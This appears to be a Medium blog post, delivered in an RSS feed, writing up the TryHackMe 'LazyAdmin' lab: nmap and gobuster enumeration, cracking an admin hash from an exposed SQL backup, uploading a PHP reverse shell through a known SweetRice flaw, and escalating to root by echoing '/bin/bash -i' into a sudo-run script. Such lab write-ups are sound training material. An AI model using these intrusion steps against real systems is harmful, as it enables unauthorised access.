            <link>https://medium.com/@AtomicScript/lazyadmin-tryhackme-c9087c8f827b?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9087c8f827b</guid>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Sat, 23 Dec 2023 12:49:24 GMT</pubDate>
            <atom:updated>2023-12-23T13:10:14.762Z</atom:updated>
            <content:encoded><![CDATA[<h3>LazyAdmin — TryHackMe</h3><p><em>Easy Linux machine to practice your skills</em></p><p><a href="https://tryhackme.com/room/lazyadmin">LazyAdmin</a></p><p>Tool used: <strong>Nmap</strong>, <strong>Gobuster</strong>, <strong>searchsploit</strong></p><h3>Scanning</h3><p>During the scanning phase, i started with nmap to know what are the ports open to understand what open ports does the machine have.</p><pre>sudo nmap -sV -A 10.10.75.194</pre><p>We have 2 open ports, HTTP and SSH but before i start exploring the HTTP I wanted to run GoBuster in the background to enumerate any hidden directories.</p><pre>gobuster dir -u http://10.10.75.194 -w /usr/share/wordlists/dirb/common.txt</pre><h3>GoBuster &amp; Exploring the website</h3><p>The website seems to be Apache2 ubuntu default page from the previous nmap scan we learn that Apache 2.4.18 is running.</p><p>GoBuster found a directory ‘content’ that seems interesting, the website is called ‘SweetRice notice’ for managing websites and it also mentions a dashboard.</p><p>When googling the SweetRice I found several PHP vulnerabilities that we can try to exploit it but first We need need to run GoBuster again but this time with the updated URL</p><pre>gobuster http://10.10.75.194/content/ -w /usr/share/wordlists/dirb/common.txt</pre><p>The login page can be found in ‘<a href="http://10.10.75.194/content/as/">http://10.10.75.194/content/as/</a>’ and we have an attachment file directories found too!</p><h3>Gaining access to the manager’s account</h3><p>Within the the directory <a href="http://10.10.75.194/content/inc/ads/">http://10.10.75.194/content/inc</a> there is an SQL backup that contains the admin ‘manager’ and the MD5 hashed password. By opening the sql file and locating admin I was able to find the admin user manager and the hashed password, so all i had to do is crack the password and login via <a href="http://10.10.75.194/content/inc/ads/">http://10.10.75.194/content/</a>as to access the admin dashboard</p><h3>Exploiting and gaining access</h3><p>I first search using searchsploit for vulnerabilities within the sweetrice and found Cross-Site Request Forgery / PHP Code php/webapps/40700.html</p><pre>searchsploit sweetrice 1.5.1</pre><p><a href="https://www.exploit-db.com/exploits/40700">OffSec&#39;s Exploit Database Archive</a></p><p>The vulnerability explains that within the PHP ads there is a CSRF vulnerability that allows uploading of PHP files and running it so all we have to do is upload the reverse shell in php, access the ‘<a href="http://10.10.75.194/content/inc/ads/">http://10.10.75.194/content/inc/ads/</a>’ file directory, setup a netcat listener then running the php reverse shell to gain access!</p><p>By pressing on the PHP reverse shell, we have gained access to the ITGUY user and submitted the flag so now the next step would be to gain access as the root user.</p><h3>Privilege escalation</h3><p>after running the sudo -l command, we can see that the user can run the backup.pl file, and the file runs a copy.sh file that we can use!</p><pre>sudo -l</pre><p>I have followed Noraj’s way of exploit for the simplicity and ease of use. All we had to do is simply modify the /etc/copy.sh by echoing the ‘/bin/bash -i’ into the copy.sh and running it!</p><p><a href="https://blog.raw.pm/en/TryHackMe-LazyAdmin-write-up/">LazyAdmin - Write-up - TryHackMe</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9087c8f827b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>